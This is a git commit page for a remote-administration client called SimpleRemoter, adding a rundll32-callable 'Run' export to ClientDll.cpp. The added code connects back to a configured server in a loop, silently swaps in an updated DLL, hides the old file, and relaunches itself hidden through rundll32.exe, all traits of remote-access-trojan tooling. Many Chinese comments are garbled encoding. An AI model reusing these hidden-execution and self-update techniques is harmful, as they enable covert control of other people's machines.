admin/SimpleRemoter
1
0
Fork 0
Code Issues Pull Requests Actions Packages Projects Releases Wiki Activity

feat: Support rundll32.exe to call ServerDll.dll

Browse Source
This commit is contained in:
yuanyuanxiang
2024-12-29 20:47:14 +08:00
parent cba61fab7e
commit 7df66348b3
5 changed files with 133 additions and 7 deletions
Download Patch File Download Diff File Expand all files Collapse all files

107
client/ClientDll.cpp
View File

@@ -7,6 +7,13 @@
#include <IOSTREAM>
#include "LoginServer.h"
#include "KernelManager.h"
#include <iosfwd>
#include <vector>
#include <iostream>
#include <fstream>
#include <sstream>
#include <shellapi.h>
#include <corecrt_io.h>
using namespace std;
// <20>Զ<EFBFBD><D4B6><EFBFBD><EFBFBD><EFBFBD>ע<EFBFBD><D7A2><EFBFBD><EFBFBD><EFBFBD>е<EFBFBD>ֵ
@@ -165,7 +172,10 @@ BOOL APIENTRY DllMain( HINSTANCE hInstance,
extern "C" __declspec(dllexport) void TestRun(char* szServerIP,int uPort)
{
g_bExit = FALSE;
g_SETTINGS.SetServer(szServerIP, uPort);
if (strlen(szServerIP)>0 && uPort>0)
{
g_SETTINGS.SetServer(szServerIP, uPort);
}
g_SETTINGS.SetType(CLIENT_TYPE_DLL);
HANDLE hThread = CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)StartClient,NULL,0,NULL);
@@ -173,7 +183,7 @@ extern "C" __declspec(dllexport) void TestRun(char* szServerIP,int uPort)
return;
}
#ifdef _DEBUG
WaitForSingleObject(hThread, 200);
WaitForSingleObject(hThread, INFINITE);
#else
WaitForSingleObject(hThread, INFINITE);
#endif
@@ -189,6 +199,99 @@ extern "C" __declspec(dllexport) bool IsStoped() { return g_bThreadExit; }
// <20>Ƿ<EFBFBD><C7B7>˳<EFBFBD><CBB3>ͻ<EFBFBD><CDBB><EFBFBD>
extern "C" __declspec(dllexport) BOOL IsExit() { return g_bExit; }
// copy from: SimpleRemoter\client\test.cpp
// <20><><EFBFBD><EFBFBD><EFBFBD>µ<EFBFBD>DLL
void RunNewDll(const char* cmdLine) {
char path[_MAX_PATH], * p = path;
GetModuleFileNameA(NULL, path, sizeof(path));
while (*p) ++p;
while ('\\' != *p) --p;
*(p + 1) = 0;
std::string folder = path;
std::string oldFile = folder + "ServerDll.old";
std::string newFile = folder + "ServerDll.new";
strcpy(p + 1, "ServerDll.dll");
BOOL ok = TRUE;
if (_access(newFile.c_str(), 0) != -1) {
if (_access(oldFile.c_str(), 0) != -1)
{
if (!DeleteFileA(oldFile.c_str()))
{
std::cerr << "Error deleting file. Error code: " << GetLastError() << std::endl;
ok = FALSE;
}
}
if (ok && !MoveFileA(path, oldFile.c_str())) {
std::cerr << "Error removing file. Error code: " << GetLastError() << std::endl;
if (_access(path, 0) != -1)
{
ok = FALSE;
}
}
else {
// <20><><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD>Ϊ<EFBFBD><CEAA><EFBFBD><EFBFBD>
if (SetFileAttributesA(oldFile.c_str(), FILE_ATTRIBUTE_HIDDEN))
{
std::cout << "File created and set to hidden: " << oldFile << std::endl;
}
}
if (ok && !MoveFileA(newFile.c_str(), path)) {
std::cerr << "Error removing file. Error code: " << GetLastError() << std::endl;
MoveFileA(oldFile.c_str(), path);// recover
}
else if (ok) {
std::cout << "Using new file: " << newFile << std::endl;
}
}
char cmd[1024];
sprintf_s(cmd, "%s,Run %s", path, cmdLine);
ShellExecuteA(NULL, "open", "rundll32.exe", cmd, NULL, SW_HIDE);
}
/* <20><><EFBFBD>пͻ<D0BF><CDBB>˵ĺ<CBB5><C4BA>Ĵ<EFBFBD><C4B4><EFBFBD>. <20><>Ϊ<EFBFBD><CEAA><EFBFBD>嵼<EFBFBD><E5B5BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD>, <20><><EFBFBD><EFBFBD> rundll32 <20><><EFBFBD><EFBFBD>Լ<EFBFBD><D4BC>.
HWND hwnd: <20><><EFBFBD><EFBFBD><EFBFBD>ھ<EFBFBD><DABE><EFBFBD><EFBFBD><EFBFBD>ͨ<EFBFBD><CDA8>Ϊ NULL<4C><4C><EFBFBD><EFBFBD>
HINSTANCE hinst: DLL <20><>ʵ<EFBFBD><CAB5><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
LPSTR lpszCmdLine: <20><><EFBFBD><EFBFBD><EFBFBD>в<EFBFBD><D0B2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϊ<EFBFBD>ַ<EFBFBD><D6B7><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݸ<EFBFBD><DDB8><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
int nCmdShow: <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʾ״̬<D7B4><CCAC>
<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>rundll32.exe ClientDemo.dll,Run 127.0.0.1:6543
<EFBFBD><EFBFBD><EFBFBD>ȴ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>в<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ж<EFBFBD>ȡ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ַ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ָ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʹ<EFBFBD>ȫ<EFBFBD>ֱ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ȡ<EFBFBD><EFBFBD>
*/
extern "C" __declspec(dllexport) void Run(HWND hwnd, HINSTANCE hinst, LPSTR lpszCmdLine, int nCmdShow) {
char message[256] = { 0 };
if (strlen(lpszCmdLine) != 0) {
strcpy_s(message, lpszCmdLine);
}else if (g_SETTINGS.IsValid())
{
sprintf_s(message, "%s:%d", g_SETTINGS.ServerIP(), g_SETTINGS.ServerPort());
}
std::istringstream stream(message);
std::string item;
std::vector<std::string> result;
while (std::getline(stream, item, ':')) {
result.push_back(item);
}
if (result.size() == 1)
{
result.push_back("80");
}
if (result.size() != 2) {
MessageBox(hwnd, "<EFBFBD><EFBFBD><EFBFBD>ṩ<EFBFBD><EFBFBD>ȷ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ַ!", "<EFBFBD><EFBFBD>ʾ", MB_OK);
return;
}
do
{
TestRun((char*)result[0].c_str(), atoi(result[1].c_str()));
while (!IsStoped())
Sleep(20);
} while (!IsExit());
if (IsExit() == 1)
return;
sprintf_s(message, "%s:%d", g_SETTINGS.ServerIP(), g_SETTINGS.ServerPort());
RunNewDll(message);
}
#endif
DWORD WINAPI StartClient(LPVOID lParam)